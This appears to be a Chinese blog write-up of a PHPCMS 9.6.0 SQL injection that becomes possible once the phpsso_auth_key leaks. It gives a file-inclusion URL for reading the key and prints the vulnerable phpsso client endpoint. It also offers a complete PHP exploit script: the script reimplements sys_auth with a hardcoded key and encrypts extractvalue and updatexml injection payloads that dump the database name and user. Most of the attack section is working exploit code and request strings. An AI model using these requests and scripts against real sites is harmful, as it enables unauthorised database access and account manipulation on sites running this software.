PHPCMS phpsso_auth_key泄露导致注入 测试环境9.6.0版本,其他版本未具体测试

  获取key

  通过文件包含漏洞读取phpsso_auth_key (9.5.7中招,v9.6.0没有此漏洞):

/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin

  其他获取phpsso_auth_key的方法(phpcmsV9.5.8 设计缺陷可获取phpsso_auth_key : https://php.mengsec.com/bugs/wooyun-2015-091314.html

  利用方法

  /api.php?op=phpss&time=1583479696&code=*************************

  因为没有对用户提交的参数做处理,直接解密放入数据库查询或者更新, 可以利用updatexml语句暴数据即可

<?php
/*
 * 客户端被动接收phpsso服务端通知
 * 服务端通知内容:同步登陆、退出,同步积分设置、对换比率,同步添加、删除用户、修改用户密码,测试通信状态
 * 
 */
    defined('IN_PHPCMS') or exit('No permission resources.'); 

    $db = pc_base::load_model('member_model');
    
    $system = pc_base::load_config('system');
    define('APPID', $system['phpsso_appid']);
    $ps_api_url = $system['phpsso_api_url'];    //接口地址
    $ps_auth_key = $system['phpsso_auth_key'];    //加密密钥
    $ps_version = $system['phpsso_version'];
    
    pc_base::load_app_class('client', 'member', 0);
    $client = new client($ps_api_url, $ps_auth_key);
    $code = $_REQUEST['code'];
    // echo $client->sys_auth("aa=bb", 'ENCODE');
    parse_str($client->sys_auth($code, 'DECODE'), $arr);

    var_dump($arr);

    if(isset($arr['action'])) {
        $action = $arr['action'];
    } else {
        exit('0');
    }

    /**
     * 测试通信状态
     */
    if ($action == 'check_status') exit('1');
    
    /**
     * 添加用户
     */
    if ($action == 'member_add') {
        $userinfo = array();
        $userinfo['phpssouid'] = isset($arr['uid']) ? $arr['uid'] : exit('0');
        $userinfo['encrypt'] = isset($arr['random']) ? $arr['random'] : exit('0');
        $userinfo['username'] = isset($arr['username']) ? $arr['username'] : exit('0');
        $userinfo['password'] = isset($arr['password']) ? $arr['password'] : exit('0');
        $userinfo['email'] = isset($arr['email']) ? $arr['email'] : '';
        $userinfo['regip'] = isset($arr['regip']) ? $arr['regip'] : '';
        $userinfo['regdate'] = $userinfo['lastdate'] = SYS_TIME;
        $userinfo['modelid'] = 10;
        $userinfo['groupid'] = 6;

        $userid = $db->insert($userinfo, 1);
        if($userid) {
            exit('1');
        } else {
            exit('0');
        }
    }
    
    /**
     * 删除用户
     */
    if ($action == 'member_delete') {
        $uidarr = $arr['uids'];
        $where = to_sqls($uidarr, '', 'phpssouid');
        
        $status = $db->delete($where);
        if($status) {
            exit('1');
        } else {
            exit('0');
        }
        
    }
    
    /**
     * 编辑用户
     */
    if ($action == 'member_edit') {
        if(!isset($arr['uid'])) exit('0');
        $userinfo = array();
        if(isset($arr['password'])) {
            $userinfo['password'] = $arr['password'];
            $userinfo['encrypt'] = $arr['random'];
        }
        if(isset($arr['email']) && !empty($arr['email'])) {
            $userinfo['email'] = $arr['email'];
        }
        if(empty($userinfo)) exit('1');
        $status = $db->update($userinfo, array('phpssouid'=> $arr['uid']));
        if($status) {
            exit('1');
        } else {
            exit('0');
        }
    }
    
    /**
     * 应用积分列表
     */
    if ($action == 'credit_list') {
        $credit_list = pc_base::load_config('credit');
        echo $client->array2string($credit_list);
        exit;
    }
    
    /**
     * 更新积分兑换规则
     */
    if ($action == 'credit_update') {
        setcache('creditchange', $arr, 'member');
        exit('1');
    }
    
    /**
     * 同步登陆
     */
    if ($action == 'synlogin') {
        
        if(!isset($arr['uid'])) exit('0');
                    
        $phpssouid = $arr['uid'];
        $userinfo = $db->get_one(array('phpssouid'=>$phpssouid));
                
        if (!$userinfo) {
            //插入会员
            exit;
            $ps_userinfo = $client->ps_get_member_info($userid);
            $ps_userinfo = unserialize($ps_userinfo);

            if ($ps_userinfo['uid'] > 0) {
                require_once MOD_ROOT.'api/member_api.class.php';
                $member_api = new member_api();
                $arr_member['touserid'] = $ps_userinfo['uid'];
                $arr_member['registertime'] = TIME;
                $arr_member['lastlogintime'] = TIME;
                $arr_member['username'] = $ps_userinfo['username'];
                $arr_member['password'] = md5(PASSWORD_KEY.$password) ;
                $arr_member['email'] = $ps_userinfo['email'];
                $arr_member['modelid'] = 10;
                $member_api->add($arr_member);
                $userid = $member->get_userid($arr['username']);
                $userinfo = $member->get($userid);
            }

            $username = $ps_userinfo['username'];
        } else {
            $username = $userinfo['username'];
        }
        //执行本系统登陆操作
        $userid = $userinfo['userid'];
        $groupid = $userinfo['groupid'];
        $username = $userinfo['username'];
        $password = $userinfo['password'];
        $nickname = $userinfo['nickname'];
        $db->update(array('lastip'=>ip(), 'lastdate'=>SYS_TIME), array('userid'=>$userid));
        pc_base::load_sys_class('param', '', 0);
        
        if(!$cookietime) $get_cookietime = param::get_cookie('cookietime');
        $_cookietime = $cookietime ? intval($cookietime) : ($get_cookietime ? $get_cookietime : 0);
        $cookietime = $_cookietime ? TIME + $_cookietime : 0;
        
        $phpcms_auth = sys_auth($userid."\t".$password, 'ENCODE', get_auth_key('login'));
        header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"');    
        param::set_cookie('auth', $phpcms_auth, $cookietime);
        param::set_cookie('_userid', $userid, $cookietime);
        param::set_cookie('_username', $username, $cookietime);
        param::set_cookie('_nickname', $nickname, $cookietime);
        param::set_cookie('_groupid', $groupid, $cookietime);
        param::set_cookie('cookietime', $_cookietime, $cookietime);
        exit('1');
    }
    
    /**
     * 同步退出
     */
    if ($action == 'synlogout') {
        header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"');
        pc_base::load_sys_class('param', '', 0);
        param::set_cookie('auth', '');
        param::set_cookie('_userid', '');
        param::set_cookie('_username', '');
        param::set_cookie('_nickname', '');
        param::set_cookie('_groupid', '');
        param::set_cookie('cookietime', '');
        exit('1');
        //执行本系统退出操作
    }
    
    
    
    
    
    
?>

  准备好sys_auth文件以及暴库语句,整理成php脚本:

<?php
    $ps_auth_key = "9HalGQZO1FRCXbKwP29ihTRmDkAvNg2n";
    function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
        global $ps_auth_key;
        $ckey_length = 4;
        $key = md5($key != '' ? $key : $ps_auth_key);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);

        $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
        $string_length = strlen($string);

        $result = '';
        $box = range(0, 255);

        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
            $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }

        for($j = $i = 0; $i < 256; $i++) {
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }

        for($a = $j = $i = 0; $i < $string_length; $i++) {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }

        if($operation == 'DECODE') {
            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
                return substr($result, 26);
            } else {
                return '';
            }
        } else {
            return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
        }
    }
    #echo sys_auth("action=member_add&uid=11&random=nyc&username=aaa&password=aaa", 'ENCODE');
    echo sys_auth("action=member_add&uid=11&random=nyc&username=aaa&password='and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '", 'ENCODE');
    #echo sys_auth("action=synlogin&uid=1' and updatexml(1,concat('~',user()),1)#", 'ENCODE');

?>

 

  数据库爆出来了:

 

 

作者: NONO
出处:http://www.cnblogs.com/diligenceday/
企业网站:http://www.idrwl.com/
开源博客:http://www.github.com/sqqihao
QQ:287101329
微信:18101055830 

posted @ 2020-03-06 16:18  方方和圆圆  阅读(987)  评论(0编辑  收藏  举报

再过一百年, 我会在哪里?